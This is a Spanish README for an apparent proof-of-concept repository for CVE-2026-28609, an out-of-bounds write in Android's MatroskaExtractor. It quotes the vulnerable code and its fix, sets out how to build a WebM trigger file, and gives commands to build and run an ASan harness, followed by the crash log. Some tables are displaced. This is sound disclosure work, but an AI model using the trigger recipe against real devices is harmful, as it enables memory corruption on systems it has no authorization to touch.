
Prueba de concepto y arnés de reproducción instrumentado para CVE-2026-28609, una escritura fuera de límites en MatroskaExtractor de Android, alcanzable mediante un archivo WebM manipulado con una pista de audio PCM big-endian.
Prueba de concepto, arnés de reproducción instrumentado y análisis técnico de CVE-2026-28609, una escritura fuera de límites en el MatroskaExtractor de Android, alcanzable mediante un archivo WebM manipulado con una pista de audio PCM big-endian.
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppMatroskaSource::read() en el MatroskaExtractor de Android contiene
un bucle de intercambio de bytes PCM big-endian que convierte un
puntero a datos de frame a uint16_t * antes de sumar
frame->range_offset(), un desplazamiento en bytes. Debido a que la
aritmética de punteros de C sobre un uint16_t * escala el
desplazamiento por sizeof(uint16_t) = 2, el puntero resultante queda
2 * range_offset bytes más allá del inicio del búfer, no
range_offset bytes.
Cuando range_offset > 0, el bucle lee y escribe uno o más bytes más
allá del final del MediaBuffer del frame. En un dispositivo sin ASan
la lectura excesiva tiene éxito silenciosamente y la escritura
excesiva corrompe el byte inmediatamente posterior al búfer.
La línea vulnerable:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
La corrección upstream convierte el puntero a uint8_t * antes de
aplicar el desplazamiento:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
Un disparador funcional y reproducible para CVE-2026-28609, verificado bajo AddressSanitizer en un dispositivo Android 14 real. El repositorio incluye:
range_offset distinto de
cero.dlopen, invoca GETEXTRACTORDEF y lee frames del archivo.El resultado, en un dispositivo vulnerable:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
La rama vulnerable requiere que se cumplan todas las condiciones siguientes:
| Condición |
|---|
Las tres primeras se satisfacen declarando la pista con el ID de códec
A_PCM/INT/BIG y una profundidad de bits de 16. La cuarta es la
interesante.
range_offset se establece a un valor distinto de cero solo en
MatroskaSource::setWebmBlockCryptoInfo(), que se invoca desde
readBlock() bajo la condición:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
Por lo tanto, el archivo disparador debe cumplir:
mIsWebm — el elemento EBML DocType debe ser "webm", no
"matroska".mEncrypted — la pista debe declarar ContentEncodings con
ContentEncodingType = 1 (Encryption) y un ContentEncKeyID.0x1) sea 0, lo que indica que el
frame no está cifrado pero sí codificado en contenido. Esto toma la
rama else en setWebmBlockCryptoInfo, que llama a
set_range(1, len - 1).Tras el strip, range_offset = 1 para cada frame. La rama vulnerable
calcula entonces (uint16_t *)data + 1, lo que avanza 2 bytes, y el
bucle lee/escribe los bytes [2, 2 + range_length) — un byte más allá
del final de la asignación de 65 bytes (frame de 64 bytes + señal de
1 byte).
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
El byte de señal 0x00 se elimina mediante `set_range(1, 64), lo que
deja un frame de 64 bytes dentro de una asignación de 65 bytes. La
aritmética de punteros vulnerable escribe entonces en el
desplazamiento de byte 2 hasta el 65.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
Dependencias upstream, clonadas por el usuario antes de compilar:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make$ANDROID_NDK_HOMEadb en el PATH (Linux, o adb.exe desde WSL)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
Si tu árbol de AOSP usa la disposición modular del extractor
(av/media/module/extractors/mkv/), no se necesita ningún ajuste
adicional. Si usa la disposición antigua
(av/media/libstagefright/matroska/), consulta los scripts de
compilación para la variable MKV.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
Establece ANDROID_API para que coincida con tu dispositivo objetivo
(p. ej., 34 para Android 14).
./scripts/run.sh
El script run.sh ejecuta cuatro pasos en orden:
build_foundation.sh — compila 28 archivos fuente de
av/media/module/foundation/ y av/media/module/metadatautils/
en plugin-asan/libstagefright_foundation_asan.a.build_plugin.sh — compila MatroskaExtractor.cpp,
mkvparser.cc, mkvreader.cc y los enlaza con el archivo en
libmkvextractor_asan.so.build_harness.sh — compila harness_c_abi con -shared-libsan.poc.mkv a
/data/local/tmp y ejecuta el arnés.Los scripts de compilación autodescubren las raíces de inclusión
faltantes. Cuando el compilador informa fatal error: 'X' file not found, el script busca en los árboles de dependencias, encuentra el
directorio padre de X y lo añade a include_dirs.conf. Por eso
include_dirs.conf crece durante la primera compilación. Una vez
descubiertas todas las cabeceras, el archivo se estabiliza y las
compilaciones posteriores son deterministas.
En un dispositivo vulnerable, el arnés produce:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
Tres números confirman el disparador:
WRITE of size 2 (o READ, cuando ASan detecta primero la mitad de
lectura de data[i] = ntohs(data[i]))65-byte region — la asignación del frame es de 64 bytes de datos
más el byte de señal de cifrado0 bytes after — el acceso cae en el primer byte posterior a la
asignaciónsetWebmBlockCryptoInfo (byte de señal 0x03), que este generador
no ejercita./data/local/tmp. El plugin solo lo carga el proceso del arnés.El generador incorpora un verificador. Ejecútalo antes de enviar:
python3 exploit/generator.py poc.mkv
Se espera:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
Se comprueba cada campo requerido: DocType, TrackType, CodecID,
BitDepth, Channels, ContentEncodingType, ContentEncodingScope,
ContentEncAlgo y ContentEncKeyID. Si algún campo es incorrecto, el
generador termina con FAIL e imprime la discrepancia concreta.
| Fecha | Evento |
|---|---|
| 2026-03-02 | CVE reservado por Google |
| 2026-09-08 | Divulgación pública en el Boletín de Seguridad de Android |
| 2026-09-09 | Corrección fusionada en LineageOS lineage-20.0 (change 497992) |
Este repositorio se publica estrictamente para investigación de seguridad defensiva y verificación de vulnerabilidades. Está destinado a:
No uses este código en dispositivos que no sean tuyos o para los que no tengas autorización escrita explícita para probar. Ejecutar el arnés en un dispositivo que no es tuyo, o usar el generador para producir archivos disparadores para su distribución, puede violar las leyes de uso indebido de computadoras de tu jurisdicción y la Política de Uso Aceptable de GitHub.
El autor no aprueba el uso de esta investigación con fines maliciosos. El archivo disparador producido por el generador está diseñado para provocar un fallo en una función específica bajo AddressSanitizer; no contiene una carga útil ejecutable, no modifica el sistema y no persiste más allá del proceso del arnés.
No se ofrece ninguna garantía. El código se suministra tal cual. El autor no acepta ninguna responsabilidad por daños causados por un uso indebido o por ejecutar el arnés en hardware de producción.
Si eres un proveedor y crees que este repositorio contiene material que debería tratarse bajo divulgación coordinada, abre un issue y el autor responderá en un plazo de 72 horas.
Este proyecto se publica bajo la licencia Apache-2.0. Consulta
LICENSE para el texto completo.
Copyright © 2026 — los contribuidores del PoC de CVE-2026-28609.
Renómbralo a include_dirs.conf después de clonar. Esta es la
semilla. Los scripts de compilación lo amplían durante la primera
ejecución.
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleRenómbralo a build.conf después de clonar.
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
| Origen |
|---|
| La pista es PCM | mType == PCM |
| Big-endian | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| Muestras de 16 bits | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
El frame tiene range_offset distinto de cero | Establecido por set_range(offset, ...) |
| 2026-09 | Este PoC desarrollado y verificado contra un dispositivo real |